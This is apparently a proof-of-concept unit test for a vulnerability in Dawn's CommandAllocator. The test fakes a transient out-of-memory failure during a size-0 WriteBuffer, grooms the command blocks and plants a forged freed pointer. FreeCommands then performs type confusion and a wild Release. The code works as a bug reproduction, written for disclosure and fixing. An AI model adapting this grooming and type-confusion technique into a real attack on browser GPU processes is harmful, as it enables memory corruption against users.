// Copyright 2025 The Dawn & Tint Authors
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
// (license header elided for brevity)

// POC: Dawn WriteBuffer(size=0) under transient OOM — kAdditionalData marker not
// written, FreeCommands NextData(0) consumes the next command's ID, desyncing the
// CommandIterator and causing type confusion / arbitrary Ref::Release.
//
// This unit test simulates the *transient* `new (std::nothrow) char[]` failure
// inside CommandAllocator::GetNewBlock by overriding global operator new[]. In
// production this state is reached when the GPU process is driven to host-OOM by
// a compromised renderer at the precise instant the AllocateData<uint8_t>(0)
// call lands at a block boundary. The byte-grooming below uses the exact
// allocation pattern produced by CommandEncoder::APIWriteBuffer.

#ifdef UNSAFE_BUFFERS_BUILD
#pragma allow_unsafe_buffers
#endif

#include <atomic>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <new>

#include "dawn/native/CommandAllocator.h"
#include "dawn/native/Commands.h"
#include "gtest/gtest.h"

// -----------------------------------------------------------------------------
// Transient-OOM injection.
//
// CommandAllocator::GetNewBlock uses `new (std::nothrow) char[...]`. We replace
// the global array-new family so that we can make exactly one such allocation
// fail (returning nullptr) while every other allocation behaves normally.
//
// All overrides forward to malloc/free so that allocation/deallocation stay
// consistent (the matching `unique_ptr<char[]>` deleter calls `delete[]`,
// which we route to free()). ASAN intercepts malloc/free, so heap poisoning
// and UAF detection remain fully active.
// -----------------------------------------------------------------------------

static std::atomic<int> gFailNextNothrowArrayNew{0};

void* operator new[](size_t size) {
    void* p = malloc(size);
    if (!p) {
        abort();
    }
    return p;
}

void* operator new[](size_t size, const std::nothrow_t&) noexcept {
    if (gFailNextNothrowArrayNew.load(std::memory_order_relaxed) > 0) {
        gFailNextNothrowArrayNew.fetch_sub(1, std::memory_order_relaxed);
        return nullptr;
    }
    return malloc(size);
}

void operator delete[](void* p) noexcept {
    free(p);
}
void operator delete[](void* p, size_t) noexcept {
    free(p);
}
void operator delete[](void* p, const std::nothrow_t&) noexcept {
    free(p);
}

namespace dawn::native {
namespace {

// Reproduces the exact producer/consumer pairing that
// CommandEncoder::APIWriteBuffer (CommandEncoder.cpp:2230-2240) and
// FreeCommands case Command::WriteBuffer (Commands.cpp:244-248) perform, but
// with a transient OOM injected at the AllocateData<uint8_t>(0) step.
//
// Expected outcome (release / `dcheck_always_on=false`, as in production):
//   FreeCommands desyncs the iterator and runs ~ClearBufferCmd() on
//   attacker-controlled bytes, calling Ref<BufferBase>::Release() on a forged
//   pointer → ASAN heap-use-after-free / SEGV in RefCounted::Release.
TEST(WriteBufferOOMDesync, FreeCommandsTypeConfusion) {
    // Sanity: layout assumptions used by the byte-groom below.
    static_assert(sizeof(WriteBufferCmd) == 24 && alignof(WriteBufferCmd) == 8);
    static_assert(sizeof(ClearBufferCmd) == 24 && alignof(ClearBufferCmd) == 8);
    static_assert(sizeof(DispatchCmd) == 12 && alignof(DispatchCmd) == 4);
    static_assert(static_cast<uint32_t>(Command::ClearBuffer) == 3);

    // A freed heap allocation whose address we'll forge as a BufferBase*.
    // ASAN will report heap-use-after-free when ~Ref<BufferBase>() calls
    // Release() on it.
    char* victim = new char[128];
    memset(victim, 0xEE, 128);
    delete[] victim;
    const uintptr_t fakePtr = reinterpret_cast<uintptr_t>(victim);

    CommandAllocator allocator;

    // -------------------------------------------------------------------------
    // PHASE 1: Groom block B0 (size 4096) so that exactly one WriteBufferCmd
    //          fits via the fast path, leaving <20 bytes for the trailing
    //          AllocateData<uint8_t>(0) marker.
    //
    // First Allocate() triggers GetNewBlock → B0 = 4096 bytes (mLastAllocationSize
    // doubles 2048→4096). malloc returns ≥8-aligned memory on x86-64, so each
    // Allocate<ClearBufferCmd> consumes exactly 32 bytes (4 ID + 4 pad + 24 body).
    // -------------------------------------------------------------------------
    for (int i = 0; i < 126; i++) {
        ClearBufferCmd* c = allocator.Allocate<ClearBufferCmd>(Command::ClearBuffer);
        ASSERT_NE(c, nullptr);
        // Ref<BufferBase> default-constructs to nullptr → ~Ref is a no-op.
    }
    // mCurrentPtr = B0+4032, remaining = 64.
    ASSERT_EQ(allocator.GetCommandBlocksCount(), 1u);

    // One DispatchCmd (4 ID + 12 body = 16 bytes) → remaining = 48.
    {
        DispatchCmd* d = allocator.Allocate<DispatchCmd>(Command::Dispatch);
        ASSERT_NE(d, nullptr);
    }
    ASSERT_EQ(allocator.GetCommandBlocksCount(), 1u);

    // -------------------------------------------------------------------------
    // PHASE 2: Encode the critical WriteBuffer(size=0) exactly as
    //          APIWriteBuffer does, with OOM hitting AllocateData<uint8_t>(0).
    // -------------------------------------------------------------------------
    {
        // Fast-path Allocate<WriteBufferCmd> succeeds (48 ≥ 44).
        WriteBufferCmd* cmd = allocator.Allocate<WriteBufferCmd>(Command::WriteBuffer);
        ASSERT_NE(cmd, nullptr);
        ASSERT_EQ(allocator.GetCommandBlocksCount(), 1u);
        // cmd->buffer is already null (Ref<> default-constructed by Allocate<T>).
        cmd->offset = 0;
        cmd->size = 0;          // ← size == 0
        // remaining is now 16 (< kWorstCaseAdditionalSize=20).

        // Inject transient OOM for exactly the next nothrow `new char[]`.
        // AllocateData<uint8_t>(0) → Allocate(kAdditionalData, 0, 1)
        //   remaining=16 < 20 → AllocateInNewBlock:
        //     writes kEndOfBlock at B0+4080
        //     GetNewBlock(20): mLastAllocationSize → 8192,
        //                      new(std::nothrow) char[8192] → nullptr → false
        //   returns nullptr.  ** kAdditionalData marker NEVER written. **
        gFailNextNothrowArrayNew.store(1);
        uint8_t* inlinedData = allocator.AllocateData<uint8_t>(static_cast<size_t>(0));
        gFailNextNothrowArrayNew.store(0);

        // The producer (APIWriteBuffer) does NOT check for nullptr here:
        //   memcpy(nullptr, data, 0) is a no-op → encoder lambda returns success.
        ASSERT_EQ(inlinedData, nullptr);
        ASSERT_EQ(allocator.GetCommandBlocksCount(), 1u);
        // mCurrentPtr unchanged (still B0+4080, *=kEndOfBlock).
    }

    // -------------------------------------------------------------------------
    // PHASE 3: OOM relieved. Encode the follow-up command (renderer-controlled).
    //          Any 4-byte-aligned command works; we use DispatchCmd so the
    //          first body word sits at B1+4 (no padding between ID and body).
    //
    //   B1 layout: [0..3]=Command::Dispatch  [4..7]=x  [8..11]=y  [12..15]=z
    //   We set x = Command::ClearBuffer (3), {y,z} = forged BufferBase*.
    //
    // After the desync, the FreeCommands loop reads `x` at B1+4 as the next
    // command ID and runs ~ClearBufferCmd() on the 24 bytes at B1+8.
    // -------------------------------------------------------------------------
    {
        // remaining=16<20+12 → AllocateInNewBlock (idempotent kEndOfBlock at
        // B0+4080), GetNewBlock succeeds → B1 (16384 bytes).
        DispatchCmd* d2 = allocator.Allocate<DispatchCmd>(Command::Dispatch);
        ASSERT_NE(d2, nullptr);
        ASSERT_EQ(allocator.GetCommandBlocksCount(), 2u);

        d2->x = static_cast<uint32_t>(Command::ClearBuffer);
        d2->y = static_cast<uint32_t>(fakePtr & 0xFFFFFFFFu);
        d2->z = static_cast<uint32_t>(fakePtr >> 32);
    }

    // -------------------------------------------------------------------------
    // PHASE 4: Hand the (corrupted) command stream to FreeCommands — exactly
    //          what EncodingContext::Destroy / CommandBufferBase::DestroyImpl do.
    //
    // Walk:
    //   126× ClearBuffer  → ~ClearBufferCmd (Ref=null, no-op)
    //   1×  Dispatch      → ~DispatchCmd (trivial)
    //   1×  WriteBuffer   → NextCommand<WriteBufferCmd>; size=0
    //        NextData<uint8_t>(0):
    //           NextCommandId reads kEndOfBlock @ B0+4080
    //             → NextCommandIdInNewBlock → B1; reads B1[0]=Command::Dispatch
    //           DAWN_ASSERT(id == kAdditionalData)  ** NO-OP in release **
    //           NextCommand(0,1) → mCurrentPtr = B1+4   ← DESYNC
    //   loop:  NextCommandId @ B1+4 reads d2->x = 3 → Command::ClearBuffer
    //          NextCommand<ClearBufferCmd> @ AlignPtr(B1+8,8)=B1+8
    //          ~ClearBufferCmd → ~Ref<BufferBase> →
    //               fakePtr->Release()   ** type confusion → wild Release **
    // -------------------------------------------------------------------------
    fprintf(stderr,
            "[POC] CommandAllocator stream is missing the kAdditionalData marker for\n"
            "[POC] the size=0 WriteBuffer. Calling FreeCommands(); expect type\n"
            "[POC] confusion → Ref<BufferBase>::Release() on forged pointer %p ...\n",
            reinterpret_cast<void*>(fakePtr));

    CommandIterator iterator(std::move(allocator));
    FreeCommands(&iterator);

    // Not reached if the bug fires: ASAN aborts inside FreeCommands above.
    fprintf(stderr, "[POC] FreeCommands returned without crashing — bug not reproduced "
                    "(is DAWN_ENABLE_ASSERTS on?).\n");
    GTEST_FAIL() << "Expected type confusion in FreeCommands; "
                    "DAWN_ASSERT(id==kAdditionalData) likely caught it (debug build) "
                    "or the iterator coincidentally terminated cleanly.";
}

}  // namespace
}  // namespace dawn::native